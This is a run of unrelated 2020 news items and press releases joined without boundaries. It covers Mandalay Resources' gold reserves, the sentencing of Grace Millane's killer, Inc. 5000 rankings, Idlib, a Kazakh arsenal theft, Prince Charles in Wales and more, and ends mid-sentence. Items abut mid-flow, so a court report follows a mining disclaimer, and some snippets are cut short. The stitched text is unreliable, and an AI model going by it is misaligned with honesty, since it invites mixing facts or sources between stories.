Mineral Reserves at Bjorkdal as of December 31, 2019 and 2018 2019 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Probable Underground 5,410 2.10 365 Open Pit 2,875 1.23 114 Norrberget Open Pit 162 2.80 15 Stockpile 2,644 0.64 54 Total Probable 11,090 1.54 548 2018 Category Tonnage (kt) Au Grade (g/t) Contained Au (koz) Probable Underground 4,754 2.36 360 Open Pit 3,768 1.23 149 Norrberget Open Pit 162 2.80 15 Stockpile 2,700 0.64 56 Total Probable 11,384 1.58 580 Notes: Bjorkdal Mineral Reserves are estimated using drill hole and sample data as of September 30, 2019 and depleted for production through December 31st, 2019. Norrberget Mineral Reserves are based on a data crystallization date of October 4, 2017. CIM definitions (2014) were followed for Mineral Reserves. Open Pit Mineral Reserves are based on mine designs carried out on an updated resource model, applying a block dilution of 100% at 0.0 g/t Au for blocks above 1.0 g/t and 100% at in-situ grade for blocks between 0.4 g/t and 1.0 g/t. The application of these block dilution factors is based on historical reconciliation data. A cut-off grade of 0.4 g/t Au was applied. Underground Mineral Reserves are based on mine designs carried out on an updated resource model. Minimum mining widths of 3.85 m for stopes (after dilution) and 4.35 m for development (after dilution) were used. Stope dilution was applied by adding 0.5 m on each side of stopes as well as an additional 10% over break dilution. An overall dilution factor of 14.5% was added to development designs. Mining extraction was assessed at 95% for contained ounces within stopes and 100% for development. A cut-off grade of 0.92 g/t Au was applied. An incremental cut-off grade of 0.4 g/t Au was used for development material. Stockpile Mineral Reserves are estimated at a cut-off grade of 0.40 g/t Au and are based upon surveyed volumes supplemented by production data. Mineral Reserves are estimated using an average long-term gold price of $1,300/oz, and an exchange rate of 9.0 SEK/US$. Tonnes and contained gold are rounded to the nearest thousand. Totals may appear different from the sum of their components due to rounding. The Bjorkdal Mineral Reserve estimate was prepared by Derek Holm, FSAIMM, Senior Mining Engineer with RPA, who is a Qualified Person as defined by NI 43-101. The net decrease 32,200 ounces of gold in Probable Reserves for 2019 relative to 2018 included mining depletion of 59,000 ounces of gold during 2019. Therefore, a total of 26,800 ounces of gold were added to reserves for the 2019 exploration spend of $0.7 million reported above. The exploration cost of adding those Reserves was $27 per ounce of gold. Qualified Persons: All Qualified Persons listed below have read and approved the contents of this news release as it pertains to the Mineral Resource and Mineral Reserve estimates disclosed in this news release. For Costerfield: The Mineral Resource estimate was carried out under the supervision of Danny Kentwell, FAusIMM, an employee of SRK Consulting and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of Anne-Marie Ebbels, MAusIMM CP(Mining), an employee of SRK Consulting and independent of Mandalay. She is a Qualified Person for the purposes of NI 43-101. For Bjorkdal: The Mineral Resource estimate was carried out under the supervision of Reno Pressacco, P.Geo., Principal Geologist and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of Derek Holm, FSAIMM, Senior Mining Engineer and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purposes of NI 43-101. For Norrberget: The Mineral Resource Estimate was carried out under the supervision of Jack Lunnon, CGeol, Senior Geologist and an employee of RPA and independent of Mandalay. He is a Qualified Person for the purpose of National Instrument 43-101. The Mineral Reserve estimate was carried out under the supervision of David Smith, CEng., FIMMM, Principal Mining Engineer and an employee of RPA and independent of Mandalay. He is a Qualified Persons for the purposes of NI 43-101. For Further Information: Dominic Duffy President and Chief Executive Officer Edison Nguyen Manager, Analytics and Investor Relations Contact: 647.260.1566 About Mandalay Resources Corporation: Mandalay Resources is a Canadian-based natural resource company with producing assets in Australia and Sweden, and care and maintenance and development projects in Chile. The Company is focused on executing a roll-up strategy, creating critical mass by aggregating advanced or in production gold, copper, silver and antimony projects in Australia, the Americas and Europe to generate near-term cash flow and shareholder value. Forward-Looking Statements: This news release contains "forward-looking statements" within the meaning of applicable securities laws. Readers are cautioned not to place undue reliance on forward-looking statements. Actual results and developments may differ materially from those contemplated by these statements depending on, among other things, changes in commodity prices and general market and economic conditions. The factors identified above are not intended to represent a complete list of the factors that could affect Mandalay. A description of additional risks that could result in actual results and developments differing from those contemplated by forward-looking statements in this news release can be found under the heading "Risk Factors" in Mandalay's annual information form dated March 28, 2019, a copy of which is available under Mandalay's profile at www.sedar.com. In addition, there can be no assurance that any inferred resources that are discovered as a result of +additional drilling will ever be upgraded to proven or probable reserves. Although Mandalay has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The killer's lawyer Ian Brookie said while his client accepted the judge must sentence him, he still maintained his innocence. Loading Brookie said the pair engaged in consensual sex that night and there was no evidence of a non-consensual attack on Grace. He said this was not a sustained attack and burying and concealing a victim's body was not that uncommon in New Zealand. "There's no evidence from the scene or the post-mortem that would support a brutal and callous death," Brookie said. The defence still did not accept the intimate photographs were taken after Grace's death and that the killer viewed pornography, he said. The killer had a difficult and traumatic upbringing and was cut off from his mother and brother from an early age, he said. The man who killed Grace, whose identity has been suppressed, being interviewed by police. In December 2018, he was isolated from his family and there was no question he had "issues". Justice Moore agreed with the Crown. He said the killer had searched for pornography and taken intimate photos of her after her death. The judge said the killer tailored his story to match what he knew of the police investigation into Grace's disappearance and what the police were likely to uncover. Justice Moore said a psychologist had found the killer at "very high risk" of reoffending. No mental health issues had yet been diagnosed. Grace Millane disappeared on the eve of her 22nd birthday in December 2018. Credit:Stuff Justice Moore accepted manual strangulation was a physical and intimate force of violence, but accepted the murder was not pre-meditated. "This was not driven by rage or loss of self-control," Justice Moore said. Loading Justice Moore said Grace was vulnerable as she trusted the killer enough to go into his room and engage in intimate physical activity. "You were a large powerful man, she was diminutive ... you were in a position of total physical dominance." Justice Simon Moore addresses the court on Friday. Credit:Getty Image Justice Moore found Grace must have died before 1.20am on December 2 when the killer searched "Waitakere Ranges" on his phone. Millane's lifeless body was in the room when he searched and accessed pornographic sites. Loading "You took grossly intrusive intimate photos." The killer's sense of self-entitlement and his objectification of Grace's body showed his high degree of callousness, Justice Moore said. "In my view, you can [take] little credit for showing the police where Ms Millane's body was ... the police were already on your heels." After the hearing, Crown prosecutor Brian Dickey said he had spoken to the family and they "seemed happy" with the sentence. Auckland Crown Solicitor Brian Dickey addresses the court on Friday. Credit:Getty Images Speaking to media outside the court, Detective Inspector Scott Beard, who led the police investigation, thanked those who worked tirelessly to get "justice for Grace", and spoke of the "absolutely unbelievable" support from the public. Turning to the case, he said rough sex should not be used as a defence to murder and said strangling someone for five to 10 minutes until they die "is not rough sex". He said the impact of having to listen to intimate details about their daughter was tough for the Millane family, and losing her on her birthday while she was alone in a foreign country was a life sentence for them. Family ripped apart Grace's family, including her mother Gillian, brother Declan and sister-in-law Victoria read their victim impact statements via a video link from Essex. Grace's mother Gillian Millane holds a family photograph during her televised victim impact statement from her home in the UK. Credit:Getty Images The three told the court their lives had been ripped apart. "No life sentence you receive today will match the life sentence without my Grace. But I will do my utmost to ensure that any other family will not go through what we have endured," Gillian said. Many surveys indicate that California is a difficult State to operate from. Weve been really well supported here and have found many of our clients locally - drawn to the creativity and positive, open attitudes that California is famous for. Inc. magazine today revealed that Enshored is No. 56 on its inaugural Inc. 5000 Series: California list, the most prestigious ranking of the fastest-growing California-based private companies. Born of the annual Inc. 5000 franchise, this regional list represents a unique look at the most successful companies within the California economys most dynamic segmentits independent small businesses. We are delighted to see Enshored feature so high up the inaugural ranking of fast-growing California companies. Our team can be very happy in the efforts and result. Many surveys indicate that California is a difficult State to operate from. Weve been really well supported here and have found many of our clients locally - drawn to the creativity and positive, open attitudes that California is famous for. While we aspire to continue our growth globally, well always be a Californian company - Ian Jackson, CEO The companies on this list show stunning rates of growth across all industries in California. Between 2016 and 2018, these 250 private companies had an average growth rate of 422 percent and, in 2018 alone, they employed more than 49,000 people and added $5.6 billion to the California economy. Companies based in the largest metro areasLos Angeles, the Bay Area, and San Diegobrought in the highest revenue overall. Complete results of the Inc. 5000 Series: California, including company profiles and an interactive database that can be sorted by industry, metro area, and other criteria, can be found at inc.com/inc5000-series-california-2020 starting February 19, 2020. The companies on this list demonstrate just how much the small-business sector impacts Californias economy, says Inc. editor in chief Scott Omelianuk. Across every single industry, these businesses have posted revenue and growth rates that are beyond impressive, further proving the tenacity of their founders and CEOs. The Inc. 5000 Series: California Summit & Awards event to honor the companies on the list will take place on Tuesday, May 12, 2020, at The LINE Los Angeles (3515 Wilshire Blvd., Los Angeles, California 90010). Enshored LLC is an outsourcing firm purpose-built to solve the challenges related to scaling disruptive, high growth businesses, delivering proven results by employing our unique agile operating framework and the most highly skilled associates in the industry. Founded in 2014 by Ian Jackson and Jeff Bauer, Enshored operates from three locations in the Philippines and is Headquartered in Long Beach, CA. The company has over 650 employees and works with some of the worlds leading technology companies, partnering with them to deliver customer support, back office, content moderation, and sales solutions. The company recently was awarded a place on the Inc 5000, for 2019, at 607th place, having achieved a 3-year growth rate of 733%. CONTACT: LAVINIA ARANCES larances@enshored.com More about Inc. and the Inc. 5000 Regional Series Methodology The 2020 Inc. 5000 Regional Series is ranked according to percentage revenue growth when comparing 2016 and 2018. To qualify, companies must have been founded and generating revenue by March 31, 2016. They had to be U.S.-based, privately held, for-profit, and independentnot subsidiaries or divisions of other companiesas of December 31, 2018. (Since then, a number of companies on the list have gone public or been acquired.) The minimum revenue required for 2016 is $100,000; the minimum for 2018 is $1 million. As always, Inc. reserves the right to decline applicants for subjective reasons. About Inc. Media The worlds most trusted business-media brand, Inc. offers entrepreneurs the knowledge, tools, connections, and community to build great companies. Its award-winning multiplatform content reaches more than 50 million people each month across a variety of channels including websites, newsletters, social media, podcasts, and print. Its prestigious Inc. 5000 list, produced every year since 1982, analyzes company data to recognize the fastest-growing privately held businesses in the United States. The global recognition that comes with inclusion in the 5000 gives the founders of the best businesses an opportunity to engage with an exclusive community of their peers, and the credibility that helps them drive sales and recruit talent. The associated Inc. 5000 Conference is part of a highly acclaimed portfolio of bespoke events produced by Inc. For more information, visit http://www.inc.com. (Opalesque) Artificial intelligence (AI) will contribute as much as $15.7 trillion to the world economy by 2030, according to a PwC report. Thats more than the current combined output of China and India. To read this article: Erdogan calls Macron to hold summit on Assad regime In his phone call with Merkel and Macron, President Erdogan expressed Turkeys concern over the humanitarian catastrophe for residents of Syria's Idlib. Turkey's president announced he would discuss recent developments in Syria's northwestern province of Idlib with his Russian counterpart in a phone call on Friday evening. PUTIN HAS NOT YET TO ACCEPT THE PROPOSAL Speaking to journalists after the weekly Friday prayer in Istanbul, Recep Tayyip Erdogan said the call with Russia's Vladimir Putin would take place at 06.00 p.m. local time [1500GMT], adding that Turkey's attitude would be determined after the conversation. "Merkel and Macron suggested holding quartet summit on March 5 in Istanbul to discuss Idlib," said Erdogan, adding that Putin had yet to accept the proposal. He said that Turkish and moderate opposition groups had destroyed 12 tanks, three armored vehicles, 14 howitzers and two pickup trucks in Idlib, where fighting continues with forces loyal to the Bashar al-Assad regime, and its Russian and Iranian allies. He added that some 150 regime forces had been neutralized. Traffic restrictions on Sunday 23 February to battle smog in Rome. Rome has banned motorists from driving within the fascia verde (green belt) on Sunday 23 February from 07.30 to 12.30, and from 16.30 until 20.30. The traffic ban is designed to curb air pollution and is the third installment of the "Ecological Sunday" initiative so far this year. There are a number of exemptions to the ban including electric cars and vehicles with special permits for disabled drivers. The next traffic-free Sunday is scheduled on 29 March. For details see city website. Cover photo La Repubblica. Companies from all over the world are actively signing up for the 3rd China International Import Expo (CIIE) via non-contact means amid the epidemic, according to the CIIE bureau. The CIIE bureau, located inside the National Exhibition and Convention Center (Shanghai), was closed to the public due to the novel coronavirus epidemic, so the preparation for the 3rd CIIE was conducted via non-contact means such as phone calls, video calls and emails. Lu Peng, with the Exhibition Department of the National Convention and Exhibition Center (Shanghai), said the department has resumed work since Jan. 31, and completed a large number of data collection, coordination and communication work to ensure exhibitors can get early-bird discounts. "We are able to work from anywhere, even those isolated at home can actively participate in the preparation. Through WeChat, e-mail, telephone, video conference and other forms, we have communicated with nearly 300 enterprises so far," Lu said, adding that the exhibition department also held an online meeting addressing the concerns of the exhibitors over the epidemic. The exhibition department also drafted a letter to all exhibitors and interested enterprises, to strengthen their confidence in participating in the exhibition. Dozens of foreign enterprises successfully signed contracts in early February, covering an area of thousands of square meters. In order to ensure 24-hour bilingual consulting services for businesses, the customer service hotline has increased staffing, while strengthening epidemic control measures, including distributing masks, disinfection, and increasing the spaces between seats, according to Li Renqing with the IT department of the organizer. Statistics showed that from Jan. 16 to Feb. 19, the number of hotline calls totaled 1,351, nearly double compared to the same period last year. Statistics showed that by the end of January, more than 1,000 exhibitors worldwide had signed up to attend the 3rd CIIE, with more than half of the exhibition area occupied. The CIIE is the first dedicated import exhibition in the world and has seen fruitful outcomes in the past two expos. The 3rd CIIE is scheduled to take place in Shanghai from Nov. 5 to 10. Two Hudson Valley state senators are the driving forces behind a bill requiring the wearing of seat belts by backseat passengers over age 16 in motor vehicles, aiming to break an 18-year streak without success for similar proposals. The Assembly on Feb. 12 passed A6163, an identical version of the bill, S4336, spearheaded by Sen. David Carlucci, D-Clarkstown, with co-sponsorship by state Sen. Jen Metzger, D-Rosendale. Both senators said they're optimistic the bill will make it out of the Senate for a full vote this session. Metzger said she had planned to propose such a bill in the Senate, before learning that Carlucci has been leading the legislative effort in recent years. Democratic Sen. Jose Serrano of New York City also co-sponsored the bill. In 1984, New York became the first state to mandate seat belts for adult drivers and front-seat passengers, with the law taking effect in 1985. Not using front seat belts in New York is considered a primary offense, meaning police can stop and cite drivers solely for that, as opposed to secondary offenses, which require additional cause. Those younger than 16 must wear a seat belt anywhere in a car in New York. Thirty states and the District of Columbia have some form of backseat passenger seat belt law for adults, according to the Insurance Institute for Highway Safety, a trade group. New York lawmakers recently mandated that all taxi and livery passengers over age 8 must wear a seat belt, but those hitching rides via ride-sharing apps such as Uber and Lyft are excluded. Carlucci's bill would make failure to use a backseat seat belt a primary offense, with the driver and the adult passenger each subject to fines of up to $50 the current law for adult use of front-seat seat belts. Various studies indicate significantly lower risks for injuries and deaths among front- and backseat drivers and passengers when all buckle up. If you are not wearing a backseat seat belt, your body becomes a projectile, and you can injure the people in front, said Carlucci, adding that the risk is even greater given the rise of Uber and Lyft. Opponents of rear-seat adult seat belts argue for personal freedom, calling New York one of America's most over-regulated, over-policed states. Lawmakers in areas with agriculture also have opposed the bill because they think clear exemptions are needed for vehicles operated on farms. Carlucci's bill carries a medical exception and exemptions for pre-1968 vehicles; vehicles not required by the federal government to have seat belts; emergency vehicles (except for fire company vehicles and ambulances when they're not providing medical care); rural letter carriers; and buses (other than school buses), which are subject to local regulations. Requiring rear seat belts in cars is not a question of personal liberty, it's a question of public safety, plain and simple, Metzger said. Think about the arbitrariness of requiring seat belts (in the backseat) if you're under 16. If people are over 17, do their lives not matter? Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A 61-year-old woman who attended Shincheonjis branch in the southern city of Daegu has been identified as patient zero by health authorities. The woman initially refused doctors request that she be tested for the virus on the grounds that she had not traveled abroad recently, KCDC Director Jung Eun-kyeong told a briefing. Before she eventually was tested, she visited a hotel, a hospital and the Daegu church attended by some 1,000 members. GAITHERSBURG, Md., Feb. 20, 2020 /PRNewswire/ -- PattonUS manufacturer of world-renowned SmartNode VoIP solutionsannounces the first-generation release of the SmartNode SN4740 series of analog high-density VoIP Gateways. Patton's new multi-port FXS VoIP gateway can IP-enable and interconnect existing Plain Old Telephone Service (POTS) private branch exchange (PBX) phone systems or telephony key systems to advanced ALL-IP and unified communications systems. Patton's new-generation IP-Channel-Bank covers analog port-counts from 16 to 128 to satisfy diverse market needs. The SN4740 Series offers flexible combinations of 16, 24, 32, 48, 64, 72, 96 and 128 FXS interfaces. "The SN4740 goes the extra mile," said Marc Aeberhard, VoIP Product Manager at Patton. "The units can immediately provide dial-tone for lots of phones installed in hotels, apartments, military bases, parking lots, automotive, railway, or mining tunnels, or campus environmentsreaching handsets installed more than 6 miles away." The SN4740 provides Message Waiting Indicator (MWI) support, which is essential for hotels, motels, multi-tenant-units/multi-dwelling-units (MTU/MDU) and similar business operations. In today's ALL-IP telephony market, such legacy capabilities are exceptional. A redundant power supply option is an available option on every SN4740 SKU. For a system designer, integrator, or network engineer deciding on a VoIP gateway manufacturer, the redundant power supply makes vendor selection a no-brainer. Finally, as a SmartNode-brand product, all services can be provisioned, orchestrated, monitored, managed, and scaled up or downin real timeall from the Patton Cloud. "The ALL-IP revolution has landed," said Marc Aeberhard, VoIP Product Manager. "Still, certain analog equipment will remain business-critical well into the future. For crucial business processes and workflows, MDU/MTU operations (for example) will rely on legacy POTS-based equipment and services, probably forever." As Mr. Aeberhard indicates, ruggedized campus phones, outdoor emergency phones, factory handsets, power-plant phones, and the like, will probably never go away either. The 16, 24 and 32 port units are shipping now. General availability (GA) on the 48, 64, 72, 96 and 128-port models is expected by June 2020. In related news, Patton recently won TMC's 2019 Communications Solutions Products of the Year Award for its Virtual SmartNode (vSN) virtualized enterprise CPE platform. About Patton Patton is all about connections. In today's fast-moving All-IP market, Patton has been diligently innovating, leading the future of communication. It is our joy to connect our customers and partners in network transformation. Photos: https://www.prlog.org/12811304 Press release distributed by PRLog SOURCE PATTON Related Links https://www.patton.com Vancouver, British Columbia and Johannesburg, South Africa--(Newsfile Corp. - February 21, 2020) - Platinum Group Metals Ltd. (TSX: PTM) (NYSE American: PLG) ("Platinum Group" or the "Company") is pleased to announce positive results from its Annual General Meeting held on February 20, 2020 in Vancouver, BC. The meeting had a turnout of shareholders representing 65.4% of its issued shares eligible to vote at the meeting. Shareholders strongly supported the appointment of the Board and the resolutions proposed. The number of directors is fixed at six and on a show of hands the Shareholders elected management's six nominees for directors. Details of the proxy voting are as follows: DIRECTOR NUMBER OF SHARES PERCENTAGE OF VOTES CAST FOR FOR WITHHELD R Michael Jones 36,042,502 99.53% 0.47% Frank Hallam 35,949,535 99.28% 0.72% John Copelyn 35,165,974 97.11% 2.89% Timothy Marlow 36,036,100 99.52% 0.48% Diana Walters 36,081,007 99.64% 0.36% Stuart Harshaw 36,038,668 99.52% 0.48% The re-appointment of PricewaterhouseCoopers LLP as auditors of the Company for the ensuing year at a remuneration to be fixed by the directors was voted in favour by 98.88% of the Shareholders. Shareholders also voted 96.61% in favour of an ordinary resolution to approve the Share Compensation Plan, as amended, until February 20, 2023. For more information on these matters, please refer to Platinum Group's information circular, available on SEDAR (www.sedar.com) or visit our website at www.platinumgroupmetals.net. About Platinum Group Metals Ltd. and Waterberg Project Platinum Group Metals Ltd. is the operator of the Waterberg Project, a bulk underground palladium and platinum deposit located in South Africa. The Waterberg Project was discovered by Platinum Group and is being jointly developed with Implats, JOGMEC, Mnombo Wethu Consultants (Pty) Ltd. and Hanwa Co. Ltd. On behalf of the Board of Platinum Group Metals Ltd. R. Michael Jones President and CEO For further information contact: R. Michael Jones, President or Kris Begic, VP, Corporate Development Platinum Group Metals Ltd., Vancouver Tel: (604) 899-5450 / Toll Free: (866) 899-5450 www.platinumgroupmetals.net Disclosure The Toronto Stock Exchange and the NYSE American have not reviewed and do not accept responsibility for the accuracy or adequacy of this news release, which has been prepared by management. This press release may contain forward-looking information within the meaning of Canadian securities laws and forward-looking statements within the meaning of U.S. securities laws (collectively "forward-looking statements"). Forward-looking statements are typically identified by words such as: believe, expect, anticipate, intend, estimate, plans, postulate and similar expressions, or are those, which, by their nature, refer to future events. All statements that are not statements of historical fact are forward-looking statements. Although the Company believes any forward-looking statements in this press release are reasonable, it can give no assurance that the expectations and assumptions in such statements will prove to be correct. The Company cautions investors that any forward-looking statements by the Company are not guarantees of future results or performance, and that actual results may differ materially from those in forward-looking statements as a result of various factors. The Company directs readers to the risk factors described in the Company's Form 20-F annual report, annual information form and other filings with the Securities and Exchange Commission and Canadian securities regulators, which may be viewed at www.sec.gov and www.sedar.com, respectively. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52663 (@FahadShabbir) A sergeant who went on absence without leave from a military facility in southern Kazakhstan, and was caught on the same day, stole a whole arsenal of weapons from the unit, the country's Interior Ministry said in a statement on Friday ALMATY (UrduPoint News / Sputnik - 21st February, 2020) A sergeant who went on absence without leave from a military facility in southern Kazakhstan, and was caught on the same day, stole a whole arsenal of weapons from the unit, the country's Interior Ministry said in a statement on Friday. On Thursday, the Kazakh Defense Ministry said that Sgt. Balgynbai, serving under contract, left an air defense military facility near the city of Shymkent while on duty, and some firearms were reported missing from the facility. The military and police were participating in an operation to find the sergeant and ensure security in the area. Later that day, the country's interior ministry said it had detained the deserter. On Friday, the ministry's press service said that Sgt. Balgynbai was detained in Almaty. "A soldier, 25-year-old Abylay Balgynbai, who voluntarily left ... a military unit with a whole arsenal of weapons was detained in Almaty," the statement said, without specifying the number of weapons stolen by the sergeant. Meanwhile, the Kazakh Vremya newspaper reported, citing the official report, that the serviceman, who was on alert, quietly pulled out the keys to the arsenal, turned off the alarm and removed 30 AK-74 assault rifles, 27 Makarov pistols, one traumatic pistol PM from the territory of the military unit, as well as 420 machine guns and 48 handgun cartridges. A pre-trial investigation into the incident has been launched, according to the ministry. Banners, with the BJP's lotus symbol, image of former Kolkata mayor and disgruntled party leader Sovan Chatterjee and a message requesting him to return and take up the reins of the city, have been put up in many areas, fuelling speculations that he might be the saffron party's face in the upcoming civic polls. Chatterjee, along with his family friend Baishakhi Bandopadhyay, had joined the BJP in August last year, months after he had resigned as a minister in the Trinamool Congress government and Kolkata mayor. However, he has not been seen in any public programme of the BJP since then. Bandopadhyay earlier claimed that Chatterjee had expressed his desire to quit the saffron fold for being "regularly humiliated", but he has not made any public announcement yet. Asked about the development, West Bengal BJP president Dilip Ghosh said there are people who want Sovan Chatterjee in Kolkata Municipal Corporation polls, slated for April. "We are in touch with him. There are people who are his followers. They want him to be there during the KMC polls," Ghosh said. State BJP vice president Jaiprakash Majumdar said no one can deny the fact that "Sovan Chatterjee is more known and has greater experience as mayor than the present mayor Firhad Hakim. Our party respects that experience". Hakim, however, declined to attach much importance to the development and said "it is an internal matter of BJP". Chatterjee was Mayor of Kolkata from 2010 to 2018. West Bengal Chief Minister Mamata Banerjee had asked him to resign from his post as both minister and mayor in November 2018 following problems in his personal life. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Prince of Wales jokes with a resident in Pontypridd. (Press Association) Prince Charles has visited towns affected by flooding in South Wales as the prime minister comes under fire for not making the same trips. The Duke of Cornwall met residents and visited businesses affected by flooding after Storm Dennis. Labour leader Jeremy Corbyn has been critical of Boris Johnsons failure to go to areas in South Wales hit by the adverse weather, and has said the emergency committee Cobra should have been set up. The princes meetings in Pontypridd were added to his list of engagements, including one he drove himself to. The visit was added to his diary of events in South Wales. (Press Association) Charles drove to the Aston Martin factory in Barry, turning up in his DB6, which was a present for his 21st birthday from the Queen. The vehicle was converted to run on E85 bioethanol made from by-products of the wine and cheese industries in 2008. At the factory, he test drove the carmakers new luxury SUV - a DBX. The Prince of Wales was given his DB6 for his 21st birthday. (Press Association) Read more: Prince Charles: I was considered 'rather dotty' for worrying about plastic 50 years ago In a short speech to the workers, he said: The wonderful thing was I was able to drive my very old car here in my very old way and to be able to get in and out of it still just. What was fascinating was to see this new SUV version, the DBX, and to have had a chance to drive it around. I must say it is a great tribute to all your team work and expertise and extraordinary engineering skill which has put this remarkable car together. I just wanted to say that I am full of admiration for the fact that this is Welsh engineering and skill on a very high level. The Prince of Wales after driving the Aston Martin DBX. (Press Association) Ian Hartley, senior manager for vehicle dynamics, sat in the DBX while Charles test drove it and said: He is a good driver cautious. Having owned Aston Martins, he knows that they are powerful and to be careful when needed. He really enjoyed the car. We went up a very steep crest. He was impressed by the amount of technology of the car and asked about where were we are going with electrification. Read more: US lawyer targets Prince Andrew in post-birthday stunt Story continues The Prince of Wales onboard a train being constructed in Newport. (Press Association) The Prince of Wales sitting in the drivers seat of a train being constructed. (Press Association) Charles had a packed diary of events for a Friday afternoon in South Wales, also visiting the CAF train factory in Newport and the British Airways Maintenance Centre in Cardiff. He officially opened the factory, unveiling a plaque, after sitting in the drivers seat of a new train which was being constructed. The model train presented to the Prince of Wales during his visit to the CAF train factory. (Press Association) At British Airways, he was shown the companys plans to improve their green credentials, including duvets made from recycled plastic bottles in first-class, short-haul seats being replaced with lighter versions to improve fuel consumption and bamboo drinks stirrers instead of plastic ones. The prince opened the engineering base in 1993, and the facility currently employs 550 local people. Charles visited a Marie Curie hospice in Penarth, where he signed a daffodil petal as part of their appeal and was given a large yellow hat by two of the fundraisers. The prince didnt seem keen to don it though. Read more: Charles thanks Brexit staff as he makes visit during Cabinet reshuffle The Prince of Wales is presented with a Marie Curie yellow hat by community fundraiser Hannah Leckie and Hilary James (right). (Press Association) The Prince of Wales meeting patient Maureen Russell, 97, at the hospice. (Press Association) He also sat with Maureen Russell, 97, appearing to share a joke with her while he held her hand. Ending his day in Pontypridd, Charles shook hands with first responders, as well as residents, and popped into a cafe called The Princes. Its estimated that about 1,100 properties, residential and commercial, have been affected in the Rhondda Cynon Taf area. Emma Jamal, 40, who owns KooKoo Madame, a boutique shop which was under four feet of water on Sunday morning. Literally every piece of furniture, every piece of stock, has gone in the skip, she said. Hundreds of thousands of pounds. It is gone. It has taken us years and years to build up the stock. The Prince of Wales meeting first responders. (Press Association) The Prince of Wales makes a furry friend on the tour. (Press Association) Charles visited a cafe called The Prince's. (Press Association) Charles took Ms Jamals details to see what might be done to help her after she showed him the water mark, of how high the waters had come and empathised over the fear other residents felt. Richard Oliver, 43, whose home was flooded in the early hours of Sunday, said: He asked us how we were coping, if we had a cooker and if the toilet was working. Weve lost the carpet but its the area around our house that has been really damaged. It is a bit of a war-zone up there at the moment. Pontypridd was one of the worst hit areas in South Wales where the situation was said to be life-threatening and the Met Office issued a red alert due to heavy rainfall and flooding risk. There is an estimated 30 million of damage to infrastructure in the county. Mr Corbyn visited Rhydyfelin after the floods, and said: People have told me about the photos theyve lost, the furniture that has been damaged and things theyve saved up for and that very few people have any insurance cover at all because they cant get insurance cover because theyre in the flood risk area. And that is an area of national policy thats got to be looked at. MANILA, Philippines The construction of the first hospital for overseas Filipino workers (OFW) is set to begin following the signing of a memorandum of agreement for the project between the government and private donors, the Department of Labor and Employment (DOLE) said Friday. In a statement, DOLE said the deal which signals the commencement of the project construction was signed in a ceremony held last week in San Fernando, Pampanga. Labor Secretary Silvestre Bello III led the signing of the agreement with representatives from the Overseas Workers Welfare Administration (OWWA), the Department of Health, the Philippine Amusement and Gaming Corporation (Pagcor), other officials from the local government and the Bloomberry Cultural Foundation. Under the agreement, Pagcor will donate P200 million for the acquisition and installation of equipment and facilities for the hospital, while Bloomberry Cultural Foundation will shoulder the cost of construction amounting to P400 million. The local government of Pampanga has donated a two-hectare property in Barangay Sindalan for the project. In his remarks during the signing ceremony, Bello lauded the signatories commitment to building the first and only hospital in the Philippines that will provide free medical services to the countrys modern-day heroes. This hospital is going to be built to recognize the heroism of our OFWs who continue to power economic growth in the country, Bello said. Its a fitting tribute to Filipino workers who, through their valuable remittances, have kept the economy afloat during many challenging times, he added. DOLE said the hospital is expected to be completed in May 2021. Once completed, the hospital will render free services when OFWs are securing medical certificates covering laboratory exams and other requirements for their overseas deployment. The post Construction of first hospital for OFWs set to begin DOLE appeared first on UNTV News. New Delhi: The Chinese government is yet to give a green signal to India's proposal of sending relief material to Chinese citizens and bringing back Indian students from Wuhan, the epicentre of Coronavirus. According to sources, India is ready to send relief package as mentioned in the letter of Prime Minister Narendra Modi's letter to Chinese President Xi Jinping to deal with Coronavirus epidemic. There is, however, "some reluctance by the Chinese side to give clearance" which authorities in New Delhi are "unable to figure out", added the sources. It also added that there is an "unexplainable silence" on the part of the Chinese government as to why the clearance has not been given yet. PM Modi in his letter to Chinese President earlier in February, while expressing solidarity with China, had indicted that New Delhi is ready for any assistance to the country to deal with the Coronavirus epidemic. India is ready with the C-17 Globemaster, the biggest military aircraft in the Indian Air Force, to send it to China. A total of 647 Indians and seven Maldivians were brought back from Wuhan on February 1 and 2 in two 747 Boeing Air India aircraft after the outbreak of the novel coronavirus in China and kept at the two quarantine facilities. Delhi Chief Minister on Friday said his government will provide all possible help to Maharashtra in implementing reforms, describing it as cooperative federalism at its best. Kejriwal's statement comes hours after Maharashtra Higher Minister Uday Samant met Delhi Deputy Chief Minister Manish Sisodia here to discuss various initiatives taken under the AAP government's model. "Delhi govt will provide all possible help to Maharashtra govt to implement edu reforms in their state. This is cooperative federalism at its best. Both states can learn so much from ech other," Kejriwal tweeted. After meeting Sisodia, Samant said he also shared about the Maharashtra government's efforts to bring a positive change in the state education model. "I came here with a lot of curiosity to know more about Delhi's education model. It is so successful and I would like to take ideas from here and adopt in our education system," Samant was quoted as saying in an official statement. "I also shared about our efforts to bring a positive change in Maharashtra's education model. We should also think of a tie-up between the two states and pick good things from each other's education models," he said. Sisodia, who is also the Education minister, said the Maharashtra government has started with some new programmes in the field of education and he would like to learn and adopt it in the city. "We want to take the journey of bringing about a revolution in education ahead by adopting and implementing best learning programmes and practices for our children. "That is why it's very important to collaborate with each other and learn from the individual experience of education departments of both the states," Sisodia said. Worcester police are warning women in Central Massachusetts to avoid a particular user on a dating site who has allegedly made graphic threats. Police said the user goes by gq965 on the Plenty of Fish dating site. Authorities did not release the users name but said he is currently under investigation. On Facebook, Worcester police said the user has been making threats to local women. Police did not describe the nature of the threats. Police advised residents to avoid any interaction with the user on the site. The incident remains under investigation, police said. No further information was immediately available. Got a news tip or want to contact MassLive about this story? Email newstips@masslive.com or message us on Facebook or Twitter. You can also call our news tips line at 413-776-1364. The Syrian air force has carried out strikes on the Turkish armys positions in the Idlib province, killing two troops, Turkish Presidential 